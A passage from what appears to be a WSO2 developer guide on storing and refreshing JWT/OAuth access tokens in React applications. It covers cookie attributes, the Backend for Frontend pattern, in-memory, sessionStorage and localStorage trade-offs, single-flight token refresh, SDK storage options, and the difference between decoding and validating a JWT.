<li class=""><code>SameSite=None</code> allows the cookie to be sent in cross-site contexts and requires the <code>Secure</code> attribute. If your application needs this behavior, you cannot rely on <code>SameSite</code> alone for CSRF protection.</li>
</ul>
<p>The important distinction is:</p>
<ul>
<li class=""><code>HttpOnly</code> controls whether JavaScript can <strong>read</strong> the cookie.</li>
<li class=""><code>SameSite</code> controls when the browser can <strong>send</strong> the cookie in cross-site contexts.</li>
<li class=""><code>Secure</code> ensures that the cookie is only sent over HTTPS.</li>
</ul>
<p><code>SameSite</code> should therefore be treated as one part of your CSRF protection rather than the entire defense.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="moving-the-token-off-the-browser-entirely">Moving the token off the browser entirely<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#moving-the-token-off-the-browser-entirely" class="hash-link" aria-label="Direct link to Moving the token off the browser entirely" title="Direct link to Moving the token off the browser entirely" translate="no">​</a></h3>
<p>If your application already has a backend, you can go one step further and avoid storing the OAuth tokens in the browser altogether.</p>
<p>A common way to do this is with a <strong>Backend for Frontend (BFF)</strong>.</p>
<p>Instead of returning the access and refresh tokens to the React application, the BFF keeps them on the server. The browser gets a session cookie that represents the user's session with your application.</p>
<p>When React needs data, it calls the BFF:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React app</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"> BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"> API</span><br></span></code></pre></div></div>
<p>The BFF adds the access token when it calls the downstream API, so the React application never needs to read or store that token itself.</p>
<p>This removes an important attack path: malicious JavaScript can no longer simply read the OAuth tokens from browser storage or application memory and send them somewhere else for later use.</p>
<p>The browser still holds a session credential, so the usual cookie-security requirements still apply. If that cookie is HttpOnly, JavaScript cannot read its value directly, but malicious JavaScript may still be able to make authenticated requests while the user is signed in.</p>
<p>A BFF therefore does not make the browser trusted. It moves the OAuth credentials into a server environment you control and leaves the browser with a session cookie that still needs to be protected against risks such as CSRF.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-recommendation-and-when-it-does-not-apply">The recommendation, and when it does not apply<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#the-recommendation-and-when-it-does-not-apply" class="hash-link" aria-label="Direct link to The recommendation, and when it does not apply" title="Direct link to The recommendation, and when it does not apply" translate="no">​</a></h2>
<p>If your React application already has a backend, keeping the OAuth tokens there gives you a useful security boundary because the access and refresh tokens do not need to be exposed to browser JavaScript.</p>
<p>A <strong>Backend for Frontend (BFF)</strong> is one way to do that.</p>
<p>For higher-risk applications such as banking, healthcare, or administrative portals, that separation can be especially valuable.</p>
<p>But not every React application has a backend.</p>
<p>For a pure SPA, the practical decision comes down to how much persistence you need and how much JavaScript exposure you are willing to accept:</p>
<ul>
<li class="">Keep the access token <strong>in memory</strong> when minimizing persistence matters more than surviving a page reload. A high-value customer portal, for example, may prefer to reacquire authentication state after a reload rather than leave a bearer token in persistent browser storage.</li>
<li class="">Use sessionStorage when the application needs to survive reloads in the current tab but does not need the token after that tab's session ends. A long multi-step workflow is a good example: an accidental refresh should not end the session, but closing the tab can.</li>
<li class="">Use localStorage only when surviving a full browser restart is an explicit requirement and you accept the longer exposure window that comes with it. A legacy internal SPA may make that trade-off for usability, but the token should still be short-lived and limited to the permissions the application actually needs.</li>
</ul>
<p>An HttpOnly cookie is not simply another browser storage API a pure React SPA can switch to. It has to be set by a server, so choosing that approach changes the architecture.</p>
<p>There is therefore no universal rule such as "always use cookies" or "never use localStorage."</p>
<p>Instead, start with three questions:</p>
<ol>
<li class="">Does your application have a backend that can keep the OAuth tokens out of the browser?</li>
<li class="">How long does the authentication state need to survive?</li>
<li class="">What happens if JavaScript running in the page is compromised?</li>
</ol>
<p>Answer those first, and the storage decision becomes much easier to justify.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="implementing-it-in-react">Implementing it in React<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#implementing-it-in-react" class="hash-link" aria-label="Direct link to Implementing it in React" title="Direct link to Implementing it in React" translate="no">​</a></h2>
<p>Now let's make the browser-side options more concrete.</p>
<p>The examples below show how you can handle access tokens in a React application when you are managing the token lifecycle yourself.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="holding-the-access-token-without-re-rendering-the-tree">Holding the access token without re-rendering the tree<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#holding-the-access-token-without-re-rendering-the-tree" class="hash-link" aria-label="Direct link to Holding the access token without re-rendering the tree" title="Direct link to Holding the access token without re-rendering the tree" translate="no">​</a></h3>
<p>If you decide to keep the access token in memory, it only needs to live somewhere your API-calling code can reach it.</p>
<p>You could store it in React state, but an access token is not really display state. Your UI does not need to re-render every time the token changes.</p>
<p>A ref gives you a simple place to keep it without writing it to persistent browser storage:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> createContext</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> useContext</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> useRef </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"react"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token maybe-class-name">TokenContext</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">createContext</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">export</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">TokenProvider</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token parameter"> children </span><span class="token parameter punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> accessToken </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useRef</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> tokenStore </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useRef</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function-variable function" style="color:rgb(153, 76, 195);font-style:italic">get</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> accessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">current</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function-variable function" style="color:rgb(153, 76, 195);font-style:italic">set</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">token</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      accessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">current</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> token</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function-variable function" style="color:rgb(153, 76, 195);font-style:italic">clear</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      accessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">current</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">TokenContext.Provider</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">value</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">tokenStore</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token tag script language-javascript property-access" style="color:rgb(153, 76, 195)">current</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">children</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">TokenContext.Provider</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">export</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:rgb(153, 76, 195);font-style:italic">useTokenStore</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useContext</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token maybe-class-name">TokenContext</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The token now lives only in the current JavaScript execution context.</p>
<p><code>accessToken</code> holds the actual token value, while <code>tokenStore</code> exposes a stable <code>get</code>, <code>set</code>, and <code>clear</code> interface to the rest of the application through React Context.</p>
<p>Because updating <code>accessToken.current</code> does not update React state, changing the token does not trigger a re-render just because the credential changed.</p>
<p>A page reload removes it, which is both the benefit and the inconvenience of in-memory storage. Nothing persists in localStorage or sessionStorage, so the application needs some way to obtain a new access token after the reload.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refreshing-on-401-without-a-request-storm">Refreshing on 401 without a request storm<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#refreshing-on-401-without-a-request-storm" class="hash-link" aria-label="Direct link to Refreshing on 401 without a request storm" title="Direct link to Refreshing on 401 without a request storm" translate="no">​</a></h3>
<p>Access tokens expire.</p>
<p>Suppose your page makes several API calls at the same time just after the access token expires. All of them may receive a <code>401 Unauthorized</code> response.</p>
<p>A common mistake is to let every failed request start its own token refresh:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Request 1 ── 401 ── refresh</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Request 2 ── 401 ── refresh</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Request 3 ── 401 ── refresh</span><br></span></code></pre></div></div>
<p>Now several refresh requests are running at once.</p>
<p>This becomes especially problematic when refresh token rotation is enabled. A successful refresh may replace the previous refresh token, so another request still trying to use the older token can fail.</p>
<p>A common fix is to keep one refresh operation in flight and let the other requests wait for it.</p>
<p>Assume <code>refreshAccessToken()</code> sends the refresh request and resolves with a fresh access token:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">let</span><span class="token plain"> refreshInFlight </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">async</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">getFreshAccessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token operator" style="color:rgb(12, 150, 155)">!</span><span class="token plain">refreshInFlight</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    refreshInFlight </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">refreshAccessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">finally</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      refreshInFlight </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> refreshInFlight</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>The first request starts the refresh.</p>
<p>While that promise is still pending, the other requests receive the same promise instead of starting refreshes of their own.</p>
<p>Once the operation finishes, <code>.finally()</code> resets <code>refreshInFlight</code> so a future refresh can start when needed.</p>
<p>This coordinates the refresh itself. The original failed API requests still need to wait for the result and retry when appropriate.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-wso2-react-sdk-does-by-default">What the WSO2 React SDK does by default<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#what-the-wso2-react-sdk-does-by-default" class="hash-link" aria-label="Direct link to What the WSO2 React SDK does by default" title="Direct link to What the WSO2 React SDK does by default" translate="no">​</a></h3>
<p>The WSO2 React SDK lets you choose how the SDK keeps authentication state in the browser.</p>
<p>The currently supported storage options include:</p>
<ul>
<li class="">sessionStorage</li>
<li class="">localStorage</li>
<li class="">webWorker</li>
</ul>
<p>If you do not specify a storage option, the SDK uses sessionStorage by default.</p>
<p>For example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AsgardeoProvider</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">clientId</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">&lt;your-app-client-id&gt;</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">baseUrl</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">https://localhost:9443</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">scopes</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">openid profile</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">storage</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">sessionStorage</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">App</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AsgardeoProvider</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><br></span></code></pre></div></div>
<p>sessionStorage gives you a practical middle ground: the authentication state survives page reloads in the current tab but disappears when that tab is closed.</p>
<p>The SDK also supports <code>webWorker</code>, which works differently from localStorage and sessionStorage.</p>
<p>A Web Worker runs in a separate JavaScript execution context from the React application's main thread. When <code>webWorker</code> storage is used, the SDK keeps the authentication state inside that worker instead of exposing the access token directly to the application.</p>
<p>API requests that need the access token are sent through the SDK. The worker attaches the token before the request is sent, so application code does not need direct access to the token itself.</p>
<p>Conceptually:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     │ request through SDK</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     ▼</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  Web Worker</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     │ attaches access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     ▼</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    API</span><br></span></code></pre></div></div>
<p>JavaScript running in the main page cannot directly read variables held inside the worker.</p>
<p>This does not make the application immune to XSS. Malicious JavaScript may still be able to invoke functionality exposed by the application or SDK while the application is running.</p>
<p>The benefit is narrower: the access token itself is not directly exposed to the application's main JavaScript context.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="decoding-versus-verifying">Decoding versus verifying<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#decoding-versus-verifying" class="hash-link" aria-label="Direct link to Decoding versus verifying" title="Direct link to Decoding versus verifying" translate="no">​</a></h2>
<p>A JWT is easy to decode.</p>
<p>That is useful when your React application needs to read information from an ID token, but there is an important catch: <strong>readable does not mean trustworthy</strong>.</p>
<p>Anyone can create a JSON object, Base64URL-encode it, and make it look like a JWT.</p>
<p>So there are really two separate jobs here:</p>
<p><strong>Decoding tells you what the token says.</strong></p>
<p><strong>Validation tells you whether you should trust it.</strong></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="reading-claims-from-the-token">Reading claims from the token<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#reading-claims-from-the-token" class="hash-link" aria-label="Direct link to Reading claims from the token" title="Direct link to Reading claims from the token" translate="no">​</a></h3>
<p>Suppose your application decodes an ID token and gets a payload like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"sub"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"user@example.com"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"aud"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"YOUR_CLIENT_ID"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"exp"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">1767225600</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>Now your application can read claims such as the user's identifier, the intended audience, or the expiry time.</p>
<p>But decoding has only turned the Base64URL-encoded payload back into readable JSON.</p>
<p>It has not answered any of these questions:</p>
<ul>
<li class="">Who created this token?</li>
<li class="">Has someone changed the header or payload?</li>
<li class="">Was this token actually issued for this application?</li>
<li class="">Has it expired?</li>
</ul>
<p>To answer those, the token needs to be validated.</p>
